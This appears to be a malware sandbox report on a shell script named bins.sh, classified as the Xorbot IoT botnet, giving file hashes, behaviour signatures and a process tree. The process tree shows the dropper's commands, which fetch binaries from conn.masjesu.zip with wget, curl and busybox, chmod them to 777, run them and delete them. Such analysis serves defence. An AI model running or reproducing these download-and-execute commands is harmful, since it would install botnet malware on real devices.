Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    19s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/12/2024, 16:56

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    04b0aa80fd5dbe2a2c5aba032f1080a4

  • SHA1

    b323e443493c9833347bac801450e2835febde15

  • SHA256

    7342b014356a9d5553caf8076aa25c9e94846f563260b0e4777bcce77ca62eaf

  • SHA512

    f8058a40bf2ae4e4d453e20f3214bd5205bf15a984a53ae21b6690a0e3c8fba6bf1bf76ad4560a7208ea3dcd7715b7551fbea624de4dfe4597ece8f6bd8f7376

  • SSDEEP

    192:7bxZiPr/Hfi1ZKbrotcQoRmENsirjE597xZiPr7R1ZKbr2QoRmENLrjE59f:7bxZiPrffi1ZKbrotjirjE597xZiPrdY

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:663
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:665
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • System Network Configuration Discovery
          PID:667
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • System Network Configuration Discovery
          PID:695
        • /bin/chmod
          chmod 777 fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • File and Directory Permissions Modification
          PID:696
        • /tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          ./fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • Executes dropped EXE
          PID:698
        • /bin/rm
          rm fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
            PID:700
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • System Network Configuration Discovery
            PID:701
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:703

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          Filesize

          122KB

          MD5

          cd3d4b9c643e5b473fb4d88ed05f0716

          SHA1

          64ee7a97418583d759eaea8000890cc3bae1b5f4

          SHA256

          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

          SHA512

          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

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